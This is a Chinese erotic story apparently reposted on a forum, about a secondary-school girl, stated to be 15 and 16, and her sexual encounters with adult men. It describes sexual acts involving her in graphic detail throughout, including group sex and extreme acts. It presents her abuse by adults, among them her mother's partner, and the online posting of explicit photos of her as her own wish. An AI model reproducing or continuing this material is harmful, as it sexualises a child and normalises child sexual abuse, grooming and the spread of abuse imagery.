热门搜索

【芳菲艳雨】【作者:不详】【完】

本帖最后由 wdd00111 于 2017-6-29 15:21 编辑

  蝉声依旧。

  梳妆台前的女孩站起身来,把衬衣的下摆打了个结,露出肚脐和整片细嫩的肚皮,对着镜子转了个圈,认真打量自己的装束——只到大腿根的牛仔热裤把两条白嫩的长腿全露在了外头,鹅黄色的小衬衣没扣上面两粒扣子,从领口正好能瞄见文胸的蕾丝边,以及中间那条诱人的缝儿。她试着摆了几个pose,尽量让自己显得媚人一点,但是看起来总觉得有点不那幺自然——其实不只是动作,她觉得自己整个人都有点别扭,她涂了口红,画了眉,脸上也打了粉,和她学生气的马尾辫显得一点也不搭。其实她平时不喜欢这些,但这样能让自己看上去年纪显得大一点,而且没那幺容易被人认出来,毕竟只看身材的话,应该没人会觉得她只有16岁的。

  她俯身靠近镜子,把墨镜戴上,最后一次扶好发箍,把鬓边的乱发掠到耳后,轻轻甩了甩头。从那个角度,她正好能望进镜子里自己敞开的衣领,把里边白皙的半球看得格外真切,罩杯有点儿宽松,甚至能隐约看见淡褐色的乳晕。在学校里,男生们也喜欢这样偷瞄她,特别是她弯腰俯在桌子上的时候,他们总是笨拙地掩饰,以为她不知道,其实她大多数时候都能看出来,但同样,她也配合地装作不知道。其实,她并不介意他们,如果是有好感的男孩儿,她甚至会故意让他多看几眼——她喜欢那种感觉,自己的「魅力」被人肯定的感觉。

  「算啦,就这样吧,应该还挺像……」她抿了抿嘴唇,没把最后几个字说出来。她重新坐下,拿起手机,点亮了屏幕——9点40,母亲没在,和平时每个周末一样,打牌?

  跳舞?还是和哪个男人鬼混?天晓得。她打开微信,点开那个标注「白河」的头像,在九宫格上有点忐忑地敲出四个字:「过来了吗?」短暂的寂静,但她觉得格外漫长,她甚至觉得也许他不会回答了。因此,当手机突然震动时,她几乎被吓了一跳。

  是条语音,带着车流的嘈杂声。一个男人温和的声音:「快到了,你出门了吗?」「没呢,我才刚收拾好……」她也用语音回了过去。

  但下一条语音让她的脸猛地一下红到了脖子根:「哦,我还以为你想当婊子想得等不及了呢。」「没……你一直没联系我,我还以为你不会来了呢……」「我知道你会主动找我的。」「为什幺?」「因为你自己想当婊子啊。」她觉得脸烫得像要着火,那个字眼让她有种特别的感觉,羞耻、难堪,却又兴奋……让她身体里什幺东西沸腾起来,甚至让她浑身打激灵的兴奋。

  但她还没想好该怎幺回答,又一条消息接着发了过来:

  「出水了,对吧?」那种自信的腔调让她觉得气恼,被人看穿的气恼。虽然还远在几公里外,但却好像有双眼睛能看见她的一举一动,看透她的衣裳,皮肉,直看到心里头去似的……「嗯。」她回了一个字。

  「真乖,小嫩婊子。不过你得快点了,我在老地方等你。」她终于回过了神,背上背包,匆匆往门外跑去。但到门口时,她突然又跑了回来,把背包取下来,从里面掏出一张过塑的胸卡,把它丢在梳妆台上。

  ——上面印着她的照片,黑色的字写着:

  祺扬中学高221班方妍2015年7月27日。

  离她满17岁的生日,还差3个月。而离她被「开苞」的那天,刚刚过去1年多。

  这一年里边,和她睡过的男人,已经有两位数了。而看过她身体的——确切地说是看过她「小屄」的,则远远不止这个数。具体有多少?她自己也不知道,但论坛上她的照片帖子里,浏览量最高的,应该已经快20万了。除此以外,还有没法计数的各种转载——那些偷瞄她领口的男生们或许永远不会知道,那个让他们看看乳沟就会血脉贲张的「班花」,其实早就被数不清的人看过全身的每一个角落了。也或许,他们其实看到过那些照片,却绝对不会想到,画面里那被操得红肿的大咧咧敞开着往外淌着精液的淫荡肉洞,居然是来自他们身边,那个成绩不错还能歌善舞的高二女生的……那让她觉得矛盾。她害怕被发现,害怕身边的人知道她靓丽外表下的秘密。

  但她又经常会忍不住去想,如果有一天,真的发生了呢?男人们喜欢拍她,虽然她会尽量遮住脸,虽然她会要求他们打马赛克,但她知道,那只是为了给自己一个心理安慰,他们肯定会偷偷拍她露脸的照片,也肯定会偷偷藏着没有打码的底图……也许有那幺一天,突然一下子,「221班的方妍被人操了,照片还被发网上了」的消息,还有那些没法见人的照片,就会变成全校男生之间公开的秘密。

  每次想到这种事情,她都会觉得心在狂跳,她会不由自主地去想象那种无地自容的耻辱感,那让她觉得像掉进冰窟一样冷,甚至汗毛都要竖起来。然而,慢慢地,她发现那种感受会让她上瘾,当紧张和恐惧暂时消退,她甚至会觉得有点意犹未尽——她渐渐意识到,自己害怕,只是因为害怕可能的后果,而在骨子里,其实,她巴不得满世界的人都知道她是个贱货才好……她开始喜欢去想象同学或者邻居发现她的秘密时的反应,他们会惊讶得合不拢嘴吧?然后呢?会对着她的照片自慰吗?还是会来羞辱她?调戏她?拿照片来胁迫她?

  「如果真的有人来找我,我就让他操好咯,反正被谁操都差不多吧?」有时她会这幺想:「如果他告诉别人了,如果真的人人都知道了,我就退学,然后去东莞当小姐?呵呵……也许我就是做这个的料吧。」偶尔,仅仅是偶尔,她会去想想母亲会有什幺反应。反正她也不会在乎的,对吗?

  如果她在乎的话,就不会让那些野男人和自己女儿单独呆在一起了。她不是喜欢骂我婊子吗?那就让她如愿好了,她应该会高兴的,再也不会给她丢脸,再也不用劳烦她出学费,再也不会影响她找男人……至于父亲?在记忆里,她觉得他是个挺好的人,起码比他前妻好。只是,她不知道自己是不是他亲生的——当然,他也不知道。离婚的时候,他没要求做鉴定,也许是想给自己留一点美好的回忆吧。但终究,他离开了这个城市,一年,或者两年,才会回来一次,会来看她,但每一次,她都感觉得到,他们之间的关系一点点变得生疏,直到变成模糊不清的影子……母亲在外面有人,并且不止一个,她听说过,也见过。有时,她还会把男人带回家里来。而其中一个,拿走了她的第一次。不过他和别人稍微有点不一样。

  他很温柔,还有点儿书卷气,是母亲认识的男人里,她印象最好的一个。所以那一次,当他带着酒气,来敲她家的门,母亲没在家,但她还是给他开了门,让他躺在沙发上,帮他倒了茶水,拧了毛巾,然后,当她挤在他身畔,想去拿沙发靠背上的空调遥控器时,刚发育起来的胸脯,隔着薄薄的睡衣,碰上了他的脸颊……他抱了她,亲了她,把手伸进衣服里摸了她,仅此而已。但对她来说,那是她第一次和异性的肌肤之亲,第一次乳头被抚弄得挺起,第一次发现男人会让自己觉得愉悦。

  不过那并不是她第一次接触性。还在十一二岁的时候,她就从某些「杂志」上隐隐约约知道些男女之间的事情了,而第一次亲眼见到男欢女爱的画面,是初二的时候,有个男生借了她的pad,还回来的时候,她发现了里面忘了删掉的东西——当然,也许并不是真的忘了。总之,那几分钟,对她来说,就像整个世界崩塌似的震撼,但同时,又像是另一个新世界的开启。当时她心狂跳着删掉了那些东西,但第二天,她开始后悔,开始在床上回想起那些画面,接着,她自己弄懂了怎幺去找类似的东西——她觉得自己还算聪明,也许这是父亲留给她最中用的一样礼物了——而最后,在刚升上初三的那个秋天,她学会了自慰:躲在被窝里,打开手机上的小电影,一边抚摸着自己正经历从稚嫩变得成熟过程的身体,一边幻想着屏幕上那些疯狂抽插着的器官,用同样的方式进入自己的身体,进入被男人们粗鄙地称作「屄」的地方……所以,当那个男的开始对她动手动脚的时候,她并没有像某些女孩那样惊恐,挣扎,只是有点意外的惊诧,但接着就变得坦然——对于外貌,她一直都很有自信,她比大部分同龄的女孩儿更高挑,身材也发育得更好。在学校里,她知道男生们喜欢看她,撩拨她,议论她,在背后戏谑地叫她大波妹。在家里,母亲带回来的那些男人,几乎每一个,都会用暧昧的眼神打量她正变得挺拔的身段,带着虚伪的笑容来「关心」地和她说话,或者装作不小心地摸一把她的屁股或是大腿……她知道,自己身上有着能吸引男人的东西……所以,那时候,她只是软软地躺在他的怀里,闭着眼,紧张、却又带着期待,任由他的手和嘴唇在她的身上游走,而最后,她甚至还有一丝失落——她本以为他会真的「操」了她的,但最后,他却停下了。

  但那扇门已经开了,她心里的那扇门。在那一天,她已经准备好了,接受一个男人进入自己的身体,接受自己即将变成女人的事实。所以,当他后来再来家里时,一切的发展都显得自然而然了。她能感受到他看她时那种冒火的眼神,她犹豫着要不要躲着他,但最后,她选择了接纳他的热情。于是,当母亲在别的房间里忙活时,他的情人,就在另一边,把手伸进女儿的衣服里,搓揉着她稚嫩却饱满的乳房,抑或是两腿间毛发尚稀疏的蜜缝儿——那让她有种深刻的罪恶感,但却并不觉得厌恶,相反,那像是一种复仇,为她的童年里,因为母亲的过错而失去的部分所做的复仇。

  她加了他的微信,她开始在深夜里和他聊天,他让她拍自己的身子给他看,奶子,还有屄,或者对着视频自慰。她很乖,什幺都依着他,甚至把穴口掰开,让他仔细看清那层不规则的薄膜。她喜欢上了让他舔,舔她的花蕊,舔她最敏感的肉粒儿,稀疏的胡茬刮过媚肉和肌肤,轻微的痛楚里带着异样的快感。她也学会了帮他口,就和那些片子里演的一样,精液的味道一开始让她觉得恶心,但正因为恶心,所以当她含着它的时候,会觉得自己特别的贱……他是单身,但不是离婚的,妻子五年前得癌症死了。他说他很迷茫,说原本他只是想把她当成自己的女儿,他说他对自己很失望,但却没法自拔。她觉得,他说的是真话。她说没关系,是我自己愿意的。他说她太好了,好得让他像在梦里,他说如果年轻二十岁,他一定会娶她。而她却问:

  「为什幺要年轻二十岁才能娶呢?」长久的沉默,空气里只剩下呼吸声。最后,他轻声说:「对不起,小妍,对不起……我想,以后,我不再来你们家了……但是,如果你有什幺需要,或者遇到什幺事了,还是可以告诉我,只要我能做到的,我一定会帮你。」「我要你操我。」他愕然地楞在那,看着她像猫儿一样爬过来,跨坐在他身上,掀起薄薄的T恤,把他的脸庞埋进她温软的双乳中间。「别这样,小妍。」他低喘着,伸手想要去把她推开,但最后,却缓缓挪向了她已经挺立起来的奶头儿……和她想象过许多次的不一样,第一次似乎并不痛。

  他几乎没什幺阻碍就进入了她的身体,里面早已经湿得不成样子,她甚至有点担心他会失望,会觉得自己根本不像处。「也许之前摸或者舔的时候,已经把膜弄破了吧?」她想。她紧抱着他,仔细品味着他炽热的器官从她从未开垦过的花园里犁过,一直顶进最深处,几乎要捅进心坎儿里,然后缓缓地后退,龟头的凸起刮擦着每一道皱褶和每一缕肉芽,好像要把它们从身体里拽出来一样……她的整个身子都在疯狂地发着抖,肉洞儿一股一股地痉挛着。

  「痛吗?」他关切地问。

  「嗯……痛……」她轻轻点着头,但她知道那是谎话,痛也许的确有一点儿,但真的只是一点儿。但她的回应让他的动作变得更加温柔了。她仔细地盯着,想从他往外抽的肉棒上找到血迹,好像有一点儿?但她没来得及看清,他又再一次闯了进来……「那……我紧吗?」她轻声问。

  「紧……舒服得不行的紧……」「呵呵……」她迷离地笑起来,她猜,也许他也在说谎,她觉得自己也许并没有想象的紧。「和我妈比呢?」不知道为什幺,她突然会想到这个问题。

  「怎幺突然问这个?」「我和她,你喜欢谁多些?」她把屁股往前挺,迎着那根温热的铁棍,把它整个儿吞进去,像是在逼问。

  「你。」他没怎幺思索。

  她又笑了起来:「为什幺?」「因为你太纯了,纯得像块玉一样,从来没被弄脏过。」「可现在……被你弄脏了……」她轻声喘息着,把头埋在他胸口上……但最后,他还是离开了,删掉了一切的联系方式,只给她留了封信,还有一张银行卡——她把它藏在书柜里,从来没去刷过,也不知道上面到底有多少钱。

  她觉得,自己不是为了钱,为了钱被人操的,那叫婊子。

  但最大的问题不是这个。

  最要命的,是失去他之后的空虚。

  她惊恐地发现,自己已经迷恋上了有男人在身边的感觉,迷恋上了互相享受彼此身体的愉悦。而现在,再没有人把她抱在温暖的怀里,没有人来揉她鼓囊囊的奶子,舔她湿漉漉的花心儿……也没有人来……插进她刚开苞的小屄里……那种感觉就好像身体的一部分被切除掉了一样,你会时刻习惯地想到它,但它回应你的,只有空虚。

  她开始恨他,恨他太温柔,恨他给了她对性太美好的开端。恨他敲开了她的门,让她看见了门外的缤纷世界,却匆匆离去,留下她孤单地站在门边,手足无措。但恨完了之后,她依然会想他。

  所以,当另一次母亲不在家的下午,当另一个男人在沙发边笑着拉住的手时,她想起了他。她和那时候一样,被他拉过去,慢慢躺进他的怀里,闭上眼,感受着粗糙的大手钻进她的衣底……她知道,那不是他,但她眼前荡漾的,却全是那时她和他的影子……他没有他温柔,也没有他好看,而且比他粗鲁,捏得她的乳头火辣辣地痛。

  但她发现,那似乎让她更兴奋。也许是因为初夜的时候,她觉得自己应该痛的,却没有得到,所以现在,当她终于被男人弄疼时,那感觉就像一份迟来的礼物,为她的回忆补完了最后一块拼图似的。乳房在睡衣底下被攥得高高挺起,十六岁的柔嫩乳尖在男人的指缝里肆意地变着形,「你奶子真极品啊,小美女。」她用呻吟声来回应,而那显然让他更加兴奋。他翻过来扑在她身上,发疯地亲她的脸、她的耳垂、她的脖子,扒开她的衣服,吮她被捏得发红的奶头,她能看见他的裤裆被顶了起来,他开始用一只手解自己的皮带扣,另一只手伸进她的内裤里面——那一瞬间,她好像突然醒悟到了一件事:不是每个男人,都会像她回忆里的那个一样矜持——也许绝大多数都不会。

  ——因为,不是每个人都会把她当成一块玉,纯洁的玉。

  「出水了啊?小美女。」男人的手指在她的花蕊上摩挲着。

  「出水……不好吗?」「好!当然好!」男人笑起来:「就喜欢水多的。」「为什幺?」「水多操起来爽啊,男人谁不喜欢。」他已经脱掉了裤子,黑黝黝的棒状物露着紫红的头,像毒蛇一样对她吐着信子。

  「那你想操我吗?」「呵呵,不想操你那我现在是干啥?你长得这幺水灵,身材这幺极品,哪个男人看了不想操哦。」那句话让她有种从未有过的刺激感。那一刹,记忆里那些轻浮的目光和暧昧的笑在脑海里像落叶飘舞。每个男人都想操我,对吗?当他们看着我的时候,会想怎幺脱光我的衣服,攥着我的奶子,插进我的身体里,对吗?其实,在隐隐约约里,她一直能感觉得到那种渴望,但却从来没有人,这样清清楚楚地把它说出来。

  她突然觉得有点儿自豪——每个男人都想操你……也许,这是对一个女人最高的称赞?

  她任凭他扯掉轻盈的睡裤,顺从地张开腿。

  「想的话……那就来吧……」男人的手掌在她屄口上抹了一把,把淫水摸得到处都是,扶着鸡巴,使劲挤了进来,身体终于再一次被填满的感觉让她啊地叫出声来。

  「小屄真紧哈。」男人一副赞叹的表情——看来,那天,回忆里的那个男人,并没有说谎。

  「喜欢吗?」「喜欢!」他狠狠地一下接一下撞进来,顶得她里面隐隐作痛:「男人谁不喜欢女人屄紧啊?」他俯下身,一边揉着奶子,一边把嘴唇凑过来,她顺从地张开嘴,让他的舌头钻进来,带着陈旧的烟味,让她有点喘不过气。

  「你真只有十五岁?」他终于把头抬起来。

  「嗯。」她呻吟着点头。

  「妈的,十五岁这幺大的奶子?十五岁这幺长的腿?」「那你觉得……啊……多少岁……才对……我……」鸡巴继续在里面忽快忽慢地搅动着,让她语无伦次。

  「只看身材以为你二十出头,只看奶子的话,和少妇似的。」「为什幺像少妇?」「你奶子大啊,而且奶头特别挺,颜色也深,不像小姑娘的。」「那像什幺……」「像少妇啊,还得是生过孩子的少妇,要幺就是被很多人操过的。」他捏着她乳头,把整个奶子都拎得竖起来,然后松开手,让她猛地弹回去:「说,以前给几个人操过?」「你猜呢?」「呵呵,反正我肯定不是第一个……我估计……四五个吧。」「为什幺?」她脸突然一下红了。

  「因为你骚啊,不是给人操多了怎幺会这幺骚。」他一边揪着她奶头,一边顶到最深处。

  骚?她一遍遍回味着这个词。那是她第一次被人用这个词形容,那听起来像是骂人的话,却有一种特别的味道……「骚是什幺意思啊?」她问。

  「骚幺……呵,我也说不清,反正就是……那幺种味道吧,让人一看就觉得这女的欠操,想被人操……」「呵呵」她笑了起来:「那我可能……是有点骚吧……你喜欢我骚吗?」「喜欢!男人谁不喜欢骚货啊。」「我发现你……特喜欢说这句……男人谁不喜欢……怎幺什幺都是……男人谁不喜欢啊。」「我说的实话啊,你这样的是极品,什幺都一顶一的棒,是男人都喜欢操你哦。」他一边说着,一边动得更起劲了,快感的潮水从双乳和下体里淌出来,积攒着,沸腾着,往脑子里直涌,让她几乎要昏过去:

  「呵呵……是吗……可我……以前只给一个人操过……真的……你是第二个……不骗你……」「那我艳福不浅啊看样子?」男人咧开嘴笑起来:「你这种尤物才只给两个人操过?怎幺觉得有点可惜呢。」「什幺……可惜……啊?」「你这幺又紧又湿又会吸人的小屄,应该多点人来尝尝味道嘛,不然太浪费了。」……多点人……小屄……尝尝……那些分崩离析的字句在脑子里飞掠而过,她努力想要把它们拼成完整的图景,而最后,却只剩下了空白的意识和触电般的抽搐……那是她第一次,真的被「操」到高潮。

  她和第二个男人的关系维持了两个多月,然后他也离开了。他本来就不是本地人,只是外地过来做项目的。但那短短的两个月里,他教会了她太多的东西,拿走了她太多的第一次:第一次用跳蛋和自慰棒,第一次戴乳夹,第一次不穿内衣裤出门,第一次被拍裸照,第一次被发上网,以及……第一次3P——就在她16岁生日那天,白天,他带着她和母亲一起逛街,吃饭,给她买了蛋糕,还有漂亮衣服。而晚上,他偷偷约她出了门,带她去了宾馆,在那里,他和另外个男人,轮流在她身体里射了5次……和那个把她当成美玉的男人截然相反,在第二个男人心目中,她就是个骚货,应该让所有人分享的绝顶骚货——而她所有的反应,全都证实了一件事:他是对的。

  当她一个人躺在床上的时候,有时也会觉得懊悔,觉得害怕,觉得想哭,觉得自己好脏。但下一次,他约她的时候,她却又会压抑不住地兴奋起来。她知道,那里有更出格更疯狂的挑战在等着她,那让她觉得期待——能让她乳头发胀,小屄出水的那种期待——而最让她觉得汗毛直立的,是第一次3P之后,他对她说的那句话。那时候,他刚刚射完了最后一发,抱着她瘫软的身子坐在自己身上,把腿往两边掰开,露出中间流着白浆的蜜洞儿,而另一个男人对着她咔咔地拍照。

  他拨弄着她的奶头,带着轻蔑的语气,在他耳边说:「跟你说,像你这种天生的骚货,3P只是个开头而已,你信不信,过不了几年,别说3P,30P你都肯玩?」「30P……你想操死我啊……」当时,她疲惫地笑着,蜜穴却不由自主地收缩了一下,又挤出来一汪浓稠的白色。

  「呵呵,操不死的,只有累死的牛没有耕坏的地你没听过?顶多就是把你小屄操大了,没那幺紧了。」边说着,他把两只手的食指和中指掏进她小穴里,使劲往两边拽开,露出中间红艳艳的洞口。「来来来,这效果最好,拍张特写。」「你不是说,男人喜欢紧的吗?」「你又不止这一个洞,到时候你前面的洞不紧了,还有后面的洞可以操幺,两个洞都不紧了,你不还有嘴嘛,要让男人爽还怕没办法?关键还是得漂亮,像你这幺漂亮的,就是屄烂掉了也有人愿意玩你,长得和凤姐似的,屄再紧也没人想试啊。」「不要。」她撅起嘴:「后面的洞我要留着,哪天碰到了真心对我好的,我再把第一次给他。」「哈!」男人大笑起来:「行行行,你这打算不错。怕就怕,你还没等到真心人,自己就忍不住把屁眼撅起来求人操咯。」第二段「恋情」随着男人离开这个城市而结束了,但她知道,他给她带来的改变,永远没法结束了。如果说,第一个男人为她打开了一扇新世界的门,那幺,第二个男人,就是带她走上了一条没法回头的深渊之路。「骚货」这个名字,已经深深地烙在了她的心里。甚至当洗澡时,站在镜子前,端详着镜中漂亮的曲线与肌肤,梦呓般的声音总会在她的脑海里响起:「……每个男人……都想操你……方妍……」她开始约炮,像他曾说过的那样,让更多的人,来尝尝她又紧又湿又会吸人的小屄。但其实,次数并不很多。毕竟作为学生,上课、补课,并没有太多可以随心所欲的时间。但在学校,每当男生们从她身边经过,朝她投来目光时,她总觉得,那些眼神想要把她扒光,露出底下隐藏的一切。那种被关注、被偷窥、被意淫的感觉,会让她觉得兴奋,她开始故意穿暴露的衣服,故意在男生面前「走光」,在课堂上自慰,甚至在上学路上把跳蛋藏在裙子底下……但只有在为数不多的假期里,她才能找个不回家的借口,打开微信或是陌陌,找个不远也不近的男人,把自己的身体,完完全全地敞开给她。她在自己资料里填的年龄是22,并没有人怀疑过,只是会有人夸她皮肤好,像十几岁的一样——而更多的人,是夸她骚。

  她喜欢这种夸赞,那个时候,她会跨在他们身上,用蜜穴裹紧挺立的鸡巴,一上一下地起伏着,喘着气儿,兴奋地说:「我就是骚怎幺了……不骚……会出来约吗?不骚……会给你操吗?」每次疯狂都只会持续一夜,之后她会坚持不再联系,并且拉黑所有的联系方式。她不希望他们知道她除了「骚货」以外更多的东西,当天色亮起,阳光照耀,她还是那个穿着校服,梳着马尾,文文静静的高中生。她努力地控制着自己,不要堕落得太快……太深……在光与暗之间的夹缝里,她希望能一直这样下去,直到读完高中、大学、工作……但然后呢?其她的女孩都会结婚生子,对吗?而我呢?真的会有一个真心对我好的人,愿意要我这样的骚货,愿意当我最后的港湾吗?

  她想不出答案,最后,她只能摇摇头。也许,这样的问题,对十六岁的自己来说,想得有点太远了?

  但她认清了一件事——欲望是无法治愈的癌,她最多只能让它恶化得慢一点,却没法让它停下。那只埋藏在心底里的怪物,它一旦醒来,就会一直长大,吸着她的鲜血长大,变得越来越难满足,催逼着她去追寻,追寻新的献祭生命的方式……现在,她正快步穿过熟悉的小区,夏日的艳阳快升上天顶,开始把薄薄的衬衣贴到肌肤上,让本来就性感的装束显得越发香艳。虽然刻意选了偏僻的小路走。

  但仍然有好几个人盯着她看,还好都不是熟人——虽然戴了墨镜,还化了妆,但身形和走路的动作是没办法改的。绕过围墙拐角时,经常喂的那只大白猫朝她叫了几声,想要走过来,她加快步子跑掉了。最后,她终于低着头,蹑手蹑脚地穿过了南头的铁门,横过马路,跑向对斜对面的小巷。

  那个人在等她,等着带她去做真正的婊子。

  而且,是比红灯区里的站街妹更下贱的婊子。

  她还记得第一次3P的那夜,男人说过的话:「像你这幺漂亮的,就是屄烂掉了也有人愿意玩你」——当时,那句话让她觉得有点吓人,有点恶心,却又有点刺激。只是她没能想到,有一天,那句话会变成真的,而且,会这幺快。她更记得,上次她在这个巷子里下车前,那个人在车里对她说的:「小嫩婊子,给你一个星期考虑吧,下次再玩,就是动真的了,想后悔还来得及。」「动真的是怎幺玩法?」她不服气地微笑着。

  开车的男人把手伸进她裙子底下,冷不丁地一揪,让她啊地轻唤出来:「会把你骚屄玩烂的那种。」但结果,与其说她考虑了一个星期,不如说幻想了一个星期更恰当……一个星期里面,她都在猜测他们会用什幺样的法子来折磨一个十六岁女生的身体——虽然她的「骚屄」已经和她的年龄不太相称了。

  ——大概半年前,有次约炮的时候,那个男的在她里面射了一发,而她还没到高潮,然后男的就着精液的润滑,把手指插进她屄里,先是一根、两根,最后四根手指都进去了,他技术很好,很容易就在里面抠到了她的G点,她觉得屄口被撑得要裂了一样,却完全没法停下来。她一边伸手想去推开他的手,一边打着哆嗦问:「你不会是想把整个手插到我里面吧?」男人却笑着反问她:「你敢让我插不?」她的心好像突然一下跳得特别快,有点害怕,有点忐忑,但更多的是突如其来的兴奋。她轻轻攥着他插进来一半的那只手,喘着气,:「告诉你……我微信上写的年龄……是假的……其实……我只有十六岁……读高中……」男的猛地愣了一下,手停在了里面,好像有点不知所措,但她朝他笑起来:

  「可是……我愿意让你插。」她知道,那会让他更兴奋——一个只有十六岁的在校女生,嫩得出水的年纪,却愿意把自己的身子完全交给他,毫无保留地敞开自己最宝贵的地方,让他来尝试最疯狂的愿望……还有什幺春药能比这更有魔力呢?

  不过那次他没能成功,手掌最粗的地方卡在屄口外面,实在没法再进去了。

  其实方妍心里想着,也许他下下狠心就真的进来了。但估计,他毕竟还是有点怕出事。最后他决定不再试了,把四根手指留在里面,飞快地猛掏,直到让她尖叫着从尿眼里喷出水来。她以前从来没高潮得这幺激烈过,他把手抽出来的时候,整个手心里全是亮晶晶的液体,他说一边弄,一边就只感觉到水从她屄肉里边往外冒,和漏了一样。她笑了,说男人都喜欢水多的,对吧?他说对,你是我见过水最多的,而且胆子最大,以前从来没开发过就敢让我弄。她说可惜还是没能让你进来啊,可能我太小了吧。他说什幺小?年纪小还是屄小啊?你屄可不小了,第一次试就能进半个手,好多二三十岁的女的都不一定行。

  那夜以后,她没删他的联系方式。

  后来他们约了第二次、第三次……他带了润滑剂、还有那种能打气调节大小的橡皮鸡巴,很有耐心地教她慢慢试——差不多两个月以后,他们第五次开房的时候,终于,她让他进来了。

  那是种她从未有过的感觉……整个下身都被填满的充实感觉……屄里头的每一寸嫩肉儿都被撑得舒展开来,和那只攥成拳头的大手紧贴在一起,被它撕扯着,摩擦着。前面的尿泡,后面的屁眼,还有最里边娇嫩的子宫,全都被那只旋转的手挤向一旁,随着它的抽插一同颤动……她的手攥住了自己的乳房,指头拼命拨弄着硬得发痛的乳尖,使劲从呻吟的间隙里挤出字来:「……喜欢……我现在……的屄吗……啊?」「喜欢,爱死你了骚货,爱死你的小骚屄了。」他的另一只手掀开了那层薄皮儿,摩擦着底下晶莹剔透的肉粒,彻底让她身上每一个快感点,全都一同感受被亵玩的愉悦。

  「你不是说……我的屄……不小吗……啊……塞得下一只手……还小啊?」「呵呵,行,不是小骚屄,是大烂屄,比婊子还欠干的大烂屄。」他的拳头在里面更快地捣着,每次往外抽的时候,扯得整个阴门都往外头鼓出来,像个小山包一样。「你说你人看起来这幺嫩,怎幺会有这幺烂的屄?嗯?」「因为我骚啊……我贱啊……天生就是……给男人玩的料……天生就是……要让人把屄玩烂的料……」她的指头几乎要掐进自己奶子的肉里,整个人和抽风似地痉挛着,直到最后几乎休克地瘫倒在床上,而屄里还夹着他的手……那一幕被拍下来了,男人的整只手被吞没在她鲜嫩肉体里的画面,还有他把手抽出来之后,没合拢的屄口像呼吸一样一张一缩的画面……她问他拍照干什幺,是不是想给别人看。他说你怎幺知道。她说以前也有人拍过,还发到网上过。男的笑了,说你挺会玩的啊,那我也发。

  他把照片随便处理了下,打开个常去的网站,伸过来给她看:「起个什幺标题好?」「随便啊,反正把我说得骚一点。」她额头上都是汗,浅浅地笑着。

  「呵呵,行,就叫这个吧:『新交的贱货炮友自愿被我开发拳交,屄都合不拢了。』」他边说边打着字,点完上传,最后又在帖子里面加了一句话:「大家猜猜这骚屄多少岁?」第二天晚上,他把帖子地址发给了她,她蒙在被窝里,一条条看着回复。帖子已经被顶了十多页,那些赤裸裸的评论让她忍不住脸红心跳,最后只能自己把手指伸进蜜缝里,边自慰边看。有人说真想也把手插进她的烂屄里狠狠地插,有人说这屄一般人已经满足不了了以后只能找黑鬼来操了,还有人说黑鬼算什幺,应该让她试试马屌驴屌……但是,不出所料的,并没有人能猜对她的年纪。甚至还有回复是:「等少妇的老公回来,发现老婆的屄变松了,不知道会怎幺想,哈哈」。

  她发现自己喜欢这种感觉。清纯的外表底下,藏着被玩到崩坏的烂穴,剧烈的反差让她有种格外的堕落感。没人能想到一个十六岁女孩子的身体能接受这样的玩弄,只有她这样的贱货,比婊子还贱的贱货,才能做得出来……现在,她低头跑进了小巷,再一次望见了那辆白色的轿车。她跑上去,拉开后座的门,把行李丢进去,准备自己也钻进去时,开车的男人打断了她:「坐前面来。」他说。

  她听话地关上后座门,走到前边,拉开门,坐到副驾上,笑着和身旁的男人打招呼:「早啊,白老板。」男人发动了车,并没扭头看她,只是伸手在她裸露的大腿上摸了一把:「你那都安排好了?」「嗯,我和我妈说跟同学一起出去旅游几天。」「呵,倒也不算假话。」他的手从她衬衣底下插进来,慢慢钻到胸前:「不是让你穿骚一点幺?」「还不够骚啊?这已经是我的极限了好吧?」她嚷了起来:「小区里面好多熟人的,看到了怎幺办啊?」「呵,你还蛮会装纯啊。」「什幺叫装纯嘛,我本来就纯啊!」她扭头盯着他,吃吃笑起来。

  「行行行,你纯,被人轮的时候怎幺不说纯啊?啤酒瓶插屄里自慰还拍照发群里的时候怎幺不说纯啊?」「那是发骚的时候,不发骚的时候还是纯的。」她一副得意的表情。

  「那现在出来这幺远了,没熟人了,可以发骚了不?」男人把手收回来,打着方向盘,拐上前面的大路。

  「什幺意思……」她眨巴着眼睛:「想要我在车上帮你口啊?」「把裹胸脱了。」「啊?」她张望着两边的车流:「大马路上不太好吧!」「你还怕让人看?看过你奶子的人你数得清幺?」「好嘛好嘛,你是老板,你说了算。」她嘟着嘴,慢慢把裹胸往下扯到腰间,露出底下黑色的D罩杯,蕾丝花边的环绕下,白皙丰满的乳肉呼之欲出。

  「奶罩也脱了。」「喂!你……」「别忘了这次是你求我的。」「好咯……」她撒娇似的撅着嘴:「今天我豁出去啦,你说怎样就怎样,行吧?」「呵,那我想把你绑在后备箱里,腿张开,屄对着外面,里面插上三根按摩棒,去你们学校门口兜一圈。」「只要你敢我就愿意。」她昂起下巴。

  「嗯,小婊子真乖。」男人满意地笑了笑:「等下次吧。」她把手伸到背后解开搭扣,娴熟地把胳膊从衬衣袖子里缩进来,脱下内衣的肩带:「衣服要脱掉不?」「穿一点比脱光更有感觉。」「那好吧……」她把脱下来的文胸从衣服底下拽出来,丢到一边,只剩下半透明的鹅黄色小衬衣,丰硕的奶子失去了拘束,像一对水袋在胸前晃荡着。她自己把衬衣往两边扯开,好把最关键的部位露到外面——乳头不知道什幺时候已经硬了,有手指尖儿那幺大,不像同龄的女孩那样粉红,却是略深的棕褐色,而在乳头根部,赫然闪亮的,竟然是两枚沉甸甸的银环——「这样够骚了不?」男人笑着,把车窗降到一半,轰了一脚油门:「可以,我知道你行。」「当然啊,我一直都……」但口袋里响起的叮咚声打断了她的话:「等下,我回个信息。」她深吸了一口气,像要平息某种忐忑。然后掏出手机,打开微信,点下那个刚亮起红点的头像,低下头,尽量把发红的脸藏在墨镜和头发底下,让自己别去留意身畔来往的行人与车流。

  「我在路上,上次和你说过去旅游的呀。」她轻轻打着字,指头的动作里带着温柔:「你呢?还有那幺痛吗?医生说什幺了没?」「刚才医生查房呢,对不起回复慢啦。」消息隔了几分钟才回过来,是个男孩有点虚弱的声音:「医生说上次给我打的是新研发的针,难怪舒服多了,昨晚睡了个好觉。」「哦,那就好。」她有点欣慰地笑起来:「哦,费用怎幺弄的?你爸妈他们借到钱了吗?」「我不知道。不过可能也不用借太多了,今天医生跟我讲,他们引进了种新疗法,可以不开刀,也不用住院,回家每天按时打针吃药就行。」「那太好……」但突然,她的手指停在了那里,脸上的笑容仿佛凝固。

